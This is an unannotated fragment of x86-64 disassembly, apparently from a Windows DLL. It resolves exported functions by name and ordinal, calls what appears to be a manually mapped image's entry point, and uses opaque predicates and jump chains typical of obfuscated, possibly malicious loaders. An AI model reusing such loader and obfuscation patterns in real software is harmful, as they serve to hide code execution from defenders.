add rax, r9
mov rbp, qword [rsp + 0x58]
movzx ebx, byte [rbp]
movzx ecx, byte [rax]
test bl, bl
je 0x18000218d
add rbp, 1
add rax, 1
cmp bl, cl
je 0x180002176
cmp bl, cl
je 0x18000219b
add rdx, 4
add rsi, 2
jmp 0x18000216c
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r12
mov rdx, r15
call r9
mov qword [r14], rax
jmp 0x180002027
add qword [rsp + 0x48], 0x14
cmp eax, 0xa
jl 0x180001d3f
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001d3f
jmp 0x180001d21
jmp 0x1800021d9
jmp 0x1800021db
jmp 0x1800021dd
jmp 0x1800021df
jmp 0x1800021e1
jmp 0x1800021e3
jmp 0x1800021e5
jmp 0x1800021e7
jmp 0x1800021e9
jmp 0x1800021eb
jmp 0x1800021ed
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
add rax, rdi
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002245
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002245
mov rsi, qword [rsp + 0x40]
mov eax, dword [rsi + 0x28]
add rax, rdi
call rax
mov eax, dword [rsi + 0x28]
add rax, rdi
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002245
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000221b
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret